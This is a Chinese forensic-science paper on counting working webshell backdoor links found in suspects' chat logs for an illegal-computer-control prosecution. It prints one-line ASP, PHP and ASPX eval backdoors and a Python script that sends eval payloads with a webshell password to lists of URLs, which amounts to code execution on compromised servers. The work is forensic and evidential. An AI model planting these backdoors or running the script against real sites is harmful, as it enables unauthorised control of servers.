◆吳玉強 吳育寶
(南京森林警察學院信息技術學院 江蘇 210023)
Webshell又叫網站后門,它是一種基于 Web的入侵腳本程序[1]。黑客通常在入侵網站后,在Web服務器的目錄中放置諸如ASP、JSP或PHP 等腳本木馬后門文件,這樣就相當于留下了網站后門。當黑客再想入侵該網站時,就可以直接通過這些后門文件控制網站服務器,以便實現程序命令執(zhí)行、上傳或下載文件、數據庫操作等功能。據統計,僅僅2018年12月份,我國境內被植入木馬后門的網站數量就多達 2317個[2]。所以一旦網站被植入Webshell,則意味著攻擊者就可以利用該漏洞獲取服務器的控制權限,進而進行后續(xù)一系列的不法行為。因此在電子數據檢驗鑒定領域中針對這些 Webshell遠程控制鏈接有效性的檢驗在案件的偵辦過程中就顯得尤為重要。
根據腳本程序的大小和功能,我們通常將 Webshell分為三類:“大馬”、“小馬”和“一句話木馬”。
大馬操作界面友好,需要密碼配合方能登錄使用。大馬功能豐富,一般包括提權、磁盤管理、數據庫連接甚至漏洞利用代碼等。為了躲避檢測,大馬一般使用混淆或者加解密壓縮等方法,前者叫未加密的Webshell,后者被稱為加密的Webshell[3]。大馬體積一般較大,文件大小一般在50K以上。
小馬功能較少,一般只有上傳或數據庫提權等簡單功能,它通常用作大馬的跳板,當網站對上傳文件大小進行限制時,攻擊者先使用小馬,將其作為上傳大馬的中轉站。小馬文件大小一般不大,往往不存在密碼保護。
一句話木馬其實就是一句話的腳本,其功能就是為代碼執(zhí)行提供一種環(huán)境,比如eval( )函數,在入侵中扮演著強大的作用。常見的一句話木馬如ASP一句話木馬:<%eval request(“c”)%>;PHP 一句話木馬:<?PHP eval($_POST[value]);?>;ASPX 一句話木馬:<%eval(Request.Item[“value”])%>等。為了躲避查殺檢測,一句話木馬可以經過混淆或者加密變形,這樣插入到Web網站代碼中就很難被管理員發(fā)現,隱秘性高、檢測困難。
近年來,隨著國家網絡通信設施的全面普及,互聯網的發(fā)展也進入深水區(qū),網絡技術在改善我們生活的同時,也帶來諸多安全隱患。諸如非法控制計算機信息系統、非法獲取計算機信息系統數據等類型的網絡犯罪案件時常出現,給計算機信息系統安全、網絡空間管理秩序帶來了威脅和挑戰(zhàn)。
而諸如通過 Webshell非法控制他人計算機信息系統在網絡犯罪中占到很大比例,已經成為當前網絡黑色產業(yè)鏈中的上游環(huán)節(jié)。黑客或不法分子通過控制他人計算機信息系統可以進行諸多違法犯罪活動,如植入暗鏈、傳播木馬病毒、DDoS 攻擊、侵犯公民個人信息等,為下游各類違法犯罪提供“精準服務”,或為電信網絡詐騙、網絡惡意攻擊提供技術支持,導致增加案件破獲難度,降低犯罪成本[4]。
根據2011年最高人民法院最高人民檢察院《關于辦理危害計算機信息系統安全刑事案件應用法律若干問題的解釋》(以下簡稱《解釋》)第一條中規(guī)定,違反國家規(guī)定,非法控制計算機信息系統20臺以上的,應當認定為刑法第285條第二款規(guī)定的“情節(jié)嚴重”,構成非法控制計算機信息系統罪;非法控制計算機信息系統數量達到標準5倍以上的,屬“情節(jié)特別嚴重”。因此針對控制計算機信息系統數量認定的檢驗在此類案件的偵辦中尤為重要。
2015年10月至2017年10月間,被告人黎某通過QQ聊天等與被告人賈某聯系、商定,由賈某采用植入木馬程序等方式非法獲取網站后臺管理控制權限,然后將該網站控制權限等內容告知黎某,黎某支付一定報酬給賈某。黎某從賈某處獲取網站控制權限后,非法侵入他人網站后臺并添加“跳轉”鏈接為賭博公司等做廣告推廣,從而獲取利潤。
現從兩人的QQ聊天記錄中檢出一句話木馬鏈接315條(ASP 69條,ASPX 181條,PHP 65條),大馬鏈接415條。
檢驗聊天記錄中Webshell有效遠程控制鏈接的數量。
本次檢驗使用《電子數據法庭科學鑒定通用方法》(標準編號:GA/T 976-2012)標準、《數字化設備證據數據發(fā)現提取固定方法》(標準編號:GA/T 756-2008)標準。
在檢驗實施環(huán)境上,和其他電子數據檢驗類似,我們需要檢驗鑒定工作站一臺(具體CPU、內存、硬盤、操作系統等參數省去)、文件校驗工具HashTab;壓縮包軟件、錄屏軟件Bandicam)、視頻采集設備、Mozilla Firefox及Python運行環(huán)境等工具軟件。
(1)網絡環(huán)境真實性的校驗
針對本案的檢驗鑒定,不論是一句話木馬的檢驗還是大馬的檢驗,都是通過網絡通訊的方式對那些遠程控制鏈接的有效性進行遠程驗證。所以,正式驗證之前,必須要對檢驗鑒定工作站的網絡環(huán)境進行真實性校驗。整個檢驗過程需要全程錄像,具體步驟如下:
①啟動“命令提示符”(CMD)窗口;
②執(zhí)行 ipconfig /all命令,查看本機網絡基本信息,其中可得到檢驗鑒定工作站的DNS服務器ip地址;
③執(zhí)行more C:Windowssystem32driversetchosts命令,查看本機HOSTS域名解析文件,結果顯示該檢驗鑒定工作站沒有域名通過HOSTS文件進行本地靜態(tài)設置;
④執(zhí)行ping www.baidu.com命令,測試檢驗鑒定工作站到百度網的通達狀態(tài);
⑤執(zhí)行 ping www.sina.com.cn命令,測試檢驗鑒定工作站到新浪網的通達狀態(tài);
⑥執(zhí)行ping 114.114.114.114命令,測試檢驗鑒定工作站到配置的DNS服務器(IP地址為114.114.114.114)的通達狀態(tài);
⑦執(zhí)行tracert 114.114.114.114命令,測試檢驗鑒定工作站與DNS服務器的路由狀態(tài);
⑧執(zhí)行tracert www.baidu.com命令,測試檢驗鑒定工作站與百度服務器之間的路由狀態(tài);
⑨通過瀏覽器打開百度網(https://www.baidu.com),搜索“時間”關鍵詞獲取當前網絡時間并與本機系統時間比對進行時間校驗。
我們通過上述1-9的操作,可以認定檢驗鑒定工作站上沒有域名進行本地靜態(tài)解析、工作站訪問互聯網狀態(tài)正常、DNS解析正常、時間正常,整個工作站的網絡環(huán)境是沒有問題的。這是進行后續(xù)檢驗的基礎,是必不可少的環(huán)節(jié)。黨的十八屆四中全會提出“推進以審判為中心的訴訟制度改革”以來,鑒定人出庭作證制度作為實現審判中心地位的重要環(huán)節(jié),鑒定人在檢驗鑒定過程中務必做到科學嚴謹。
(2)具體檢驗鑒定方法
確認檢驗鑒定工作站的相關環(huán)境符合要求之后,就可以對案件中的遠程控制鏈接正式進行檢驗鑒定。
①手動驗證法
首先將篩選出的遠程控制鏈接整理成下列文件:
a)ASP一句話列表,文件名ASP.txt;
b)ASPX一句話列表,文件名ASPX.txt;
c)PHP一句話列表,文件名PHP.txt;
d)大馬列表,文件名19062.txt。
上述四個文件內其實就是一些網頁URL地址,以PHP一句話列表文件為例,其內容如圖1所示。
圖1 PHP一句話木馬文件內容
所謂手動驗證法就是對梳理出來的 Webshell記錄通過相關軟件工具逐一進行手動驗證。
對于一句話木馬:將梳理出的一句話木馬記錄文件拷貝到檢驗鑒定工作站的桌面上,啟動軟件“中國菜刀”,對給定的所有Webshell逐一加以驗證。最后將可以正常連接的記錄保存并計算MD5哈希值即可。
對于大馬:同樣,將梳理出的大馬記錄文件拷貝到檢驗鑒定工作站的桌面上,啟動瀏覽器,對給定的所有Webshell逐一加以驗證。最后將可以正常連接的記錄保存并計算MD5哈希值即可。
注意,以上檢驗都要進行屏幕同步錄像。
②自動測試法
本案中,共需檢驗一句話木馬鏈接315條(ASP 69條,ASPX 181條,PHP 65條),大馬鏈接409條,數量眾多,如果通過手工進行一一驗證,費時費力,且容易遺漏、出錯。如果通過程序腳本進行自動化測試驗證,則能夠顯著提高檢驗鑒定效率和準確率。因此,可以通過編寫自動測試腳本分別對其中的一句話木馬鏈接、大馬鏈接進行測試,確定其中有效的遠程控制鏈接數量。接下來,用事先編寫好的Python腳本程序進行檢驗鑒定。
對于一句話木馬:編寫自動測試腳本對一句話木馬的可用性進行檢驗。腳本根據ASP、ASPX、PHP等不同語言站點的不同特點設計了針對性的測試語句,通過回顯判斷的方法測試其可用性。具體腳本代碼如下:
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import requests
from multiprocessing.dummy import Pool, Lock
pool = Pool(8)
lock = Lock()
payload_pool = {
'ASPX': 'Response.Write("SixSeven@ccc");Response.End();',
'ASP':
'eval("response.write(chr(83)+chr(105)+chr(120)+chr(83)+chr(101)+chr(118)+chr(101)+chr(110)+chr(64)+chr(99)+chr(99)+chr(99))")',
'PHP': 'eval(base64_decode($_POST[z0]));'
}
fuzzpool = ['ASP', 'ASPx', 'PHP']
passwd = "!@#QWE321321" # 一句話木馬密碼
def fuzzing(url):
p={passwd:payload, 'z0': 'ZWNobyAiU2l4U2V2ZW5AY2NjIj s='}
try:
r = requests.post(url, data=p, timeout=5)
if 'SixSeven@ccc' in r.text:
lock.acquire()
print "%s" % (url, )
lock.release()
return True
else:
return False
except:
return False
if __name__ == '__main__':
for fuzztype in fuzzpool:
payload = payload_pool[fuzztype]
with open(fuzztype+'.txt', 'r') as l: # 讀入一句話木馬列表
p = [i.strip() for i in l.readlines()]
ret = pool.map(fuzzing, p)
通過上述腳本檢出可用的遠程控制鏈接217條,其中ASP一句話木馬48條,ASPX一句話木馬131條,PHP一句話木馬38條。檢驗結果導出在文件“webshell.txt”中。
對于大馬:同樣通過編寫腳本抓取了大馬中的特征字段,自動請求木馬頁面并進行特征匹配,借此判斷木馬可用性。具體腳本代碼此處省去。
以上腳本執(zhí)行過程要全程屏幕同步錄像。
上文中不論是手動一一驗證法還是通過腳本程序自動測試法,都是我們在日常的電子數據檢驗中針對Webshell有效性檢驗的常用方法。但不管用哪種方法,其底層原理都是通過遠程檢驗的形式對獲取到的木馬信息進行逐一檢驗,并梳理出可用的木馬記錄。此外,針對檢驗結果還需進行比對、剔除重復記錄,這樣得到最終的結果才是嫌疑人有效非法控制計算機信息系統的數量。
腳本程序自動測試法不僅在本案中能夠顯著提高檢驗效率,在其他一些電子數據檢驗案件中也同樣發(fā)揮著重要作用。比如,在一起傳播淫穢視頻案件的檢驗鑒定中,犯罪嫌疑人通過微信群大量發(fā)送淫穢視頻的鏈接,數量多達數千個,且視頻鏈接包含流媒體視頻鏈接、磁力鏈接形式和以ed2k存在的視頻等多種形式。毫無疑問,如果通過手動對上千個視頻一一根據其特征選擇合適的工具軟件進行下載固定的話,工作量是不可想象的,那么這時,如果通過腳本程序對視頻鏈接對應的網絡視頻進行自動化下載固定,就會顯著提高工作效率。
本文通過分析一起典型的非法控制計算機信息系統案例,對該案中Webshell遠程控制鏈接有效性的檢驗鑒定,分別介紹了手動驗證和自動測試這兩種檢驗方法,并對檢驗進行論證說明,以確保檢驗鑒定的科學性及嚴謹性。但由于目前我國尚缺乏明確的針對此類案件檢驗鑒定的標準和技術規(guī)范,導致鑒定機構在司法鑒定實踐中沒有參照依據[5],故建議相關部門盡早制定更加適用此類案件檢驗鑒定的標準或技術操作規(guī)范。